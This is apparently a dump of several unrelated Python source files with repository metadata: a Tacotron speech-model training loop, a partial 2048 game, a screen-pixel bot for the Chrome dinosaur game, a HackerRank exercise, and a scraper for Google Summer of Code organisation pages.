tf.Summary.Value(tag="Tacotron_eval_model/eval_stats/eval_before_loss", simple_value=before_loss), tf.Summary.Value(tag="Tacotron_eval_model/eval_stats/eval_after_loss", simple_value=after_loss), tf.Summary.Value(tag="Tacotron_eval_model/eval_stats/stop_token_loss", simple_value=stop_token_loss), tf.Summary.Value(tag="Tacotron_eval_model/eval_stats/eval_loss", simple_value=loss), ] if linear_loss is not None: values.append(tf.Summary.Value(tag="Tacotron_eval_model/eval_stats/eval_linear_loss", simple_value=linear_loss)) test_summary = tf.Summary(value=values) summary_writer.add_summary(test_summary, step) def time_string(): return datetime.now().strftime("%Y-%m-%d %H:%M") def model_train_mode(args, feeder, hparams, global_step): with tf.variable_scope("Tacotron_model", reuse=tf.AUTO_REUSE): model = create_model("Tacotron", hparams) model.initialize(feeder.inputs, feeder.input_lengths, feeder.speaker_embeddings, feeder.mel_targets, feeder.token_targets, targets_lengths=feeder.targets_lengths, global_step=global_step, is_training=True, split_infos=feeder.split_infos) model.add_loss() model.add_optimizer(global_step) stats = add_train_stats(model, hparams) return model, stats def model_test_mode(args, feeder, hparams, global_step): with tf.variable_scope("Tacotron_model", reuse=tf.AUTO_REUSE): model = create_model("Tacotron", hparams) model.initialize(feeder.eval_inputs, feeder.eval_input_lengths, feeder.eval_speaker_embeddings, feeder.eval_mel_targets, feeder.eval_token_targets, targets_lengths=feeder.eval_targets_lengths, global_step=global_step, is_training=False, is_evaluating=True, split_infos=feeder.eval_split_infos) model.add_loss() return model def train(log_dir, args, hparams): log_dir = str(log_dir) save_dir = os.path.join(log_dir, "taco_pretrained") plot_dir = os.path.join(log_dir, "plots") wav_dir = os.path.join(log_dir, "wavs") mel_dir = os.path.join(log_dir, "mel-spectrograms") eval_dir = os.path.join(log_dir, "eval-dir") eval_plot_dir = os.path.join(eval_dir, "plots") eval_wav_dir = os.path.join(eval_dir, "wavs") tensorboard_dir = os.path.join(log_dir, "tacotron_events") meta_folder = os.path.join(log_dir, "metas") os.makedirs(save_dir, exist_ok=True) os.makedirs(plot_dir, exist_ok=True) os.makedirs(wav_dir, exist_ok=True) os.makedirs(mel_dir, exist_ok=True) os.makedirs(eval_dir, exist_ok=True) os.makedirs(eval_plot_dir, exist_ok=True) os.makedirs(eval_wav_dir, exist_ok=True) os.makedirs(tensorboard_dir, exist_ok=True) os.makedirs(meta_folder, exist_ok=True) checkpoint_fpath = os.path.join(save_dir, "tacotron_model.ckpt") metadat_fpath = os.path.join(str(args.synthesizer_root), "train.txt") log("Checkpoint path: {}".format(checkpoint_fpath)) log("Loading training data from: {}".format(metadat_fpath)) log("Using model: Tacotron") log(hparams_debug_string()) # Start by setting a seed for repeatability tf.set_random_seed(hparams.tacotron_random_seed) # Set up data feeder coord = tf.train.Coordinator() with tf.variable_scope("datafeeder"): feeder = Feeder(coord, metadat_fpath, hparams) # Set up model: global_step = tf.Variable(0, name="global_step", trainable=False) model, stats = model_train_mode(args, feeder, hparams, global_step) eval_model = model_test_mode(args, feeder, hparams, global_step) # Embeddings metadata char_embedding_meta = os.path.join(meta_folder, "CharacterEmbeddings.tsv") if not os.path.isfile(char_embedding_meta): with open(char_embedding_meta, "w", encoding="utf-8") as f: for symbol in symbols: if symbol == " ": symbol = "\\s" # For visual purposes, swap space with \s f.write("{}\n".format(symbol)) char_embedding_meta = char_embedding_meta.replace(log_dir, "..") # Book keeping step = 0 time_window = ValueWindow(100) loss_window = ValueWindow(100) saver = tf.train.Saver(max_to_keep=50) log("Tacotron training set to a maximum of {} steps".format(args.tacotron_train_steps)) # Memory allocation on the GPU as needed config = tf.ConfigProto() # config.gpu_options.per_process_gpu_memory_fraction = 0.9 # config.gpu_options.allow_growth = True config.allow_soft_placement = True # Train with tf.Session(config=config) as sess: try: summary_writer = tf.summary.FileWriter(tensorboard_dir, sess.graph) sess.run(tf.global_variables_initializer()) # saved model restoring if args.restore: # Restore saved model if the user requested it, default = True try: checkpoint_state = tf.train.get_checkpoint_state(save_dir) if checkpoint_state and checkpoint_state.model_checkpoint_path: log("Loading checkpoint {}".format(checkpoint_state.model_checkpoint_path), slack=True) saver.restore(sess, checkpoint_state.model_checkpoint_path) else: log("No model to load at {}".format(save_dir), slack=True) saver.save(sess, checkpoint_fpath, global_step=global_step) except tf.errors.OutOfRangeError as e: log("Cannot restore checkpoint: {}".format(e), slack=True) else: log("Starting new training!", slack=True) saver.save(sess, checkpoint_fpath, global_step=global_step) # initializing feeder feeder.start_threads(sess) # Training loop while not coord.should_stop() and step < args.tacotron_train_steps: start_time = time.time() step, loss, opt = sess.run([global_step, model.loss, model.optimize]) time_window.append(time.time() - start_time) loss_window.append(loss) message = "Step {:7d} [{:.3f} sec/step, loss={:.5f}, avg_loss={:.5f}]".format( step, time_window.average, loss, loss_window.average) log(message, end="\r", slack=(step % args.checkpoint_interval == 0)) print(message, flush=True) if loss > 100 or np.isnan(loss): log("Loss exploded to {:.5f} at step {}".format(loss, step)) raise Exception("Loss exploded") if step % args.summary_interval == 0: log("\nWriting summary at step {}".format(step)) summary_writer.add_summary(sess.run(stats), step) if step % args.eval_interval == 0: # Run eval and save eval stats log("\nRunning evaluation at step {}".format(step)) eval_losses = [] before_losses = [] after_losses = [] stop_token_losses = [] linear_losses = [] linear_loss = None if hparams.predict_linear: for i in tqdm(range(feeder.test_steps)): eloss, before_loss, after_loss, stop_token_loss, linear_loss, mel_p, \ mel_t, t_len, align, lin_p, lin_t = sess.run( [ eval_model.tower_loss[0], eval_model.tower_before_loss[0], eval_model.tower_after_loss[0], eval_model.tower_stop_token_loss[0], eval_model.tower_linear_loss[0], eval_model.tower_mel_outputs[0][0], eval_model.tower_mel_targets[0][0], eval_model.tower_targets_lengths[0][0], eval_model.tower_alignments[0][0], eval_model.tower_linear_outputs[0][0], eval_model.tower_linear_targets[0][0], ]) eval_losses.append(eloss) before_losses.append(before_loss) after_losses.append(after_loss) stop_token_losses.append(stop_token_loss) linear_losses.append(linear_loss) linear_loss = sum(linear_losses) / len(linear_losses) wav = audio.inv_linear_spectrogram(lin_p.T, hparams) audio.save_wav(wav, os.path.join(eval_wav_dir, "step-{}-eval-wave-from-linear.wav".format( step)), sr=hparams.sample_rate) else: for i in tqdm(range(feeder.test_steps)): eloss, before_loss, after_loss, stop_token_loss, mel_p, mel_t, t_len,\ align = sess.run( [ eval_model.tower_loss[0], eval_model.tower_before_loss[0], eval_model.tower_after_loss[0], eval_model.tower_stop_token_loss[0], eval_model.tower_mel_outputs[0][0], eval_model.tower_mel_targets[0][0], eval_model.tower_targets_lengths[0][0], eval_model.tower_alignments[0][0] ]) eval_losses.append(eloss) before_losses.append(before_loss) after_losses.append(after_loss) stop_token_losses.append(stop_token_loss) eval_loss = sum(eval_losses) / len(eval_losses) before_loss = sum(before_losses) / len(before_losses) after_loss = sum(after_losses) / len(after_losses) stop_token_loss = sum(stop_token_losses) / len(stop_token_losses) log("Saving eval log to {}..".format(eval_dir)) # Save some log to monitor model improvement on same unseen sequence wav = audio.inv_mel_spectrogram(mel_p.T, hparams) audio.save_wav(wav, os.path.join(eval_wav_dir, "step-{}-eval-wave-from-mel.wav".format(step)), sr=hparams.sample_rate) plot.plot_alignment(align, os.path.join(eval_plot_dir, "step-{}-eval-align.png".format(step)), title="{}, {}, step={}, loss={:.5f}".format("Tacotron", time_string(), step, eval_loss), max_len=t_len // hparams.outputs_per_step) plot.plot_spectrogram(mel_p, os.path.join(eval_plot_dir, "step-{" "}-eval-mel-spectrogram.png".format( step)), title="{}, {}, step={}, loss={:.5f}".format("Tacotron", time_string(), step, eval_loss), target_spectrogram=mel_t, max_len=t_len) if hparams.predict_linear: plot.plot_spectrogram(lin_p, os.path.join(eval_plot_dir, "step-{}-eval-linear-spectrogram.png".format( step)), title="{}, {}, step={}, loss={:.5f}".format( "Tacotron", time_string(), step, eval_loss), target_spectrogram=lin_t, max_len=t_len, auto_aspect=True) log("Eval loss for global step {}: {:.3f}".format(step, eval_loss)) log("Writing eval summary!") add_eval_stats(summary_writer, step, linear_loss, before_loss, after_loss, stop_token_loss, eval_loss) if step % args.checkpoint_interval == 0 or step == args.tacotron_train_steps or \ step == 300: # Save model and current global step saver.save(sess, checkpoint_fpath, global_step=global_step) log("\nSaving alignment, Mel-Spectrograms and griffin-lim inverted waveform..") input_seq, mel_prediction, alignment, target, target_length = sess.run([ model.tower_inputs[0][0], model.tower_mel_outputs[0][0], model.tower_alignments[0][0], model.tower_mel_targets[0][0], model.tower_targets_lengths[0][0], ]) # save predicted mel spectrogram to disk (debug) mel_filename = "mel-prediction-step-{}.npy".format(step) np.save(os.path.join(mel_dir, mel_filename), mel_prediction.T, allow_pickle=False) # save griffin lim inverted wav for debug (mel -> wav) wav = audio.inv_mel_spectrogram(mel_prediction.T, hparams) audio.save_wav(wav, os.path.join(wav_dir, "step-{}-wave-from-mel.wav".format(step)), sr=hparams.sample_rate) # save alignment plot to disk (control purposes) plot.plot_alignment(alignment, os.path.join(plot_dir, "step-{}-align.png".format(step)), title="{}, {}, step={}, loss={:.5f}".format("Tacotron", time_string(), step, loss), max_len=target_length // hparams.outputs_per_step) # save real and predicted mel-spectrogram plot to disk (control purposes) plot.plot_spectrogram(mel_prediction, os.path.join(plot_dir, "step-{}-mel-spectrogram.png".format( step)), title="{}, {}, step={}, loss={:.5f}".format("Tacotron", time_string(), step, loss), target_spectrogram=target, max_len=target_length) log("Input at step {}: {}".format(step, sequence_to_text(input_seq))) if step % args.embedding_interval == 0 or step == args.tacotron_train_steps or step == 1: # Get current checkpoint state checkpoint_state = tf.train.get_checkpoint_state(save_dir) # Update Projector log("\nSaving Model Character Embeddings visualization..") add_embedding_stats(summary_writer, [model.embedding_table.name], [char_embedding_meta], checkpoint_state.model_checkpoint_path) log("Tacotron Character embeddings have been updated on tensorboard!") log("Tacotron training complete after {} global steps!".format( args.tacotron_train_steps), slack=True) return save_dir except Exception as e: log("Exiting due to exception: {}".format(e), slack=True) traceback.print_exc() coord.request_stop(e) def tacotron_train(args, log_dir, hparams): return train(log_dir, args, hparams)
099766ad78e6c05c6b43501d208f8861cf94d568
9216ec6fc0044a730f1fac563d73c2bfaf97e518
/2048.py
96e3a977505373bb955978fdaa517301115535e9
[]
no_license
Starship87/2048-game
92ce37dfce7c18ffa1578ae0a3fb59a9e98e0a10
ade141ac093448d0192960a5f37ae236bd4c33ca
refs/heads/master
2020-09-24T11:40:58.473695
2020-01-29T01:02:48
2020-01-29T01:02:48
225,752,463
0
0
null
null
null
null
UTF-8
Python
false
false
817
py
#2048 game import random import time score = 0 highscore = 0 board =[] def newgame(): global board #fill board board = [] row = [] for i in range(4): row.append(0) for j in range(4): board.append(row.copy()) def showboard(): for i in range(4): row = "" for j in range (4): row = row + str(board[i][j]) + " " print(row) def newnumber(): newnum = 0 newrow = random.randint(0,3) newcol = random.randint(0,3) while board[newrow][newcol] != 0: newrow = random.randint(0,3) newcol = random.randint(0,3) rand = random.randint(1, 100) if rand < 80: newnum = 2 else: newnum = 4 newgame() showboard()
9da9cea9f0b10697611fe8b65be747c62a209e15
eaccc86687e5d3ea409c41759e9daf25e976fcb6
/GDinoBot.py
5a6fd8ae2e77f531e031313d1addfb06ea2bd44b
[]
no_license
LucidMach/GDinoBot
188d27613cf21d1e5446b93072290ad09f5c9b6e
fd4f089475b99974ba05e93319967e950e6300ed
refs/heads/master
2022-08-17T05:21:57.323840
2020-05-24T20:15:58
2020-05-24T20:15:58
null
0
0
null
null
null
null
UTF-8
Python
false
false
779
py
import pyautogui as pg, time white = (255, 255, 255) pg.hotkey("win","2") time.sleep(1) pg.typewrite("a") pg.hotkey("enter") time.sleep(1) pg.hotkey("space ") while True: while pg.pixel(x=900, y=750) == white: if pg.pixel(x=679, y=333) != white: pg.hotkey("space") elif pg.pixel(x=679, y=333) == white and pg.pixel(x=679, y=305) != white: pg.keyDown("down") time.sleep(0.75) pg.keyUp("down") while pg.pixel(x=900, y=750) != white: if pg.pixel(x=679, y=333) == white: pg.hotkey("space") elif pg.pixel(x=679, y=333) != white and pg.pixel(x=679, y=305) == white: pg.keyDown("down") time.sleep(0.75) pg.keyUp("down")
dc0795e8588404f2f441e385ff7792de19d21846
f0e0c1637f3b49fd914410361c3f1f3948462659
/Python/Math/integers_come_in_all_sizes.py
067bf933bb0a96f4a2758091ba2df74899b1be13
[]
no_license
georggoetz/hackerrank-py
399bcd0599f3c96d456725471708068f6c0fc4b1
a8478670fcc65ca034df8017083269cb37ebf8b0
refs/heads/master
2021-09-18T07:47:32.224981
2018-07-11T09:24:49
2018-07-11T09:24:49
111,611,930
0
0
null
null
null
null
UTF-8
Python
false
false
369
py
# http://www.hackerrank.com/contests/python-tutorial/challenges/python-integers-come-in-all-sizes def solve(a, b, c, d): """ >>> solve(9, 29, 7, 27) 4710194409608608369201743232 """ print(a ** b + c ** d) if __name__ == "__main__": a = int(input()) b = int(input()) c = int(input()) d = int(input()) print(solve(a, b, c, d))
32284807cdcf1b216f3bb534c1dfa4ad446fe8e6
b39074034e46a57753cd22a9ea147dafc158c26d
/scrapper.py
3bc207195cdc135e1d2962adaa315c0f1e6fd34b
[]
no_license
Saumay-Agrawal/GSOC-Explorer
2590aa6bea9f792633cb51ed3983840df5ac6d3a
6c82c7b9ecdede5d13c87fcae621a2731cbf94ef
refs/heads/master
2020-04-10T23:01:28.683316
2019-02-22T09:51:26
2019-02-22T09:51:26
161,339,391
0
0
null
null
null
null
UTF-8
Python
false
false
2,075
py
import requests from bs4 import BeautifulSoup import logging import pymongo import sys import os from pprint import pprint import json if(os.path.exists('./scrapper.log')): os.remove('./scrapper.log') SEED = sys.argv[1] DBNAME = sys.argv[2] COLNAME = sys.argv[3] logging.basicConfig(filename='scrapper.log', format='%(asctime)s [%(levelname)s]\t: %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p', level=logging.DEBUG) logging.info('Seed link: {}'.format(SEED)) logging.info('Database name: {}'.format(DBNAME)) logging.info('Collection name: {}'.format(COLNAME)) client = pymongo.MongoClient('mongodb://localhost:27017/') db = client[DBNAME] col = db[COLNAME] def scrapeArchive(archive_link): page = requests.get(archive_link) soup = BeautifulSoup(page.content, 'html.parser') org_count = 0 for org in soup.select('a.organization-card__link'): org_link = 'https://summerofcode.withgoogle.com' + org['href'] org_count += 1 logging.info('Org link #{} - {}'.format(org_count, org_link)) scrapeOrgPage(org_link, org_count) def scrapeOrgPage(org_link, org_id): page = requests.get(org_link) soup = BeautifulSoup(page.content, 'html.parser') org = {} org['_id'] = org_id org['name'] = soup.select('h3.banner__title')[0].text org['website'] = soup.select('a.org__link')[0]['href'] org['logo'] = json.loads(soup.select('org-logo')[0]['data'].replace("'", "\"")) org['logo']['image_url'] = 'http:' + org['logo']['image_url'] org['tagline'] = soup.select('h4.org__tagline')[0].text org['description'] = soup.select('div.org__long-description')[0].text org['technologies'] = list(map(lambda x: x.text, soup.select('li.organization__tag--technology'))) org['category'] = soup.select('li.organization__tag--category')[0].text org['topics'] = list(map(lambda x: x.text, soup.select('li.organization__tag--topic'))) org['num_projects'] = len(soup.select('md-card.archive-project-card')) x = col.insert_one(org) print(x.inserted_id) # pprint(org) scrapeArchive(SEED)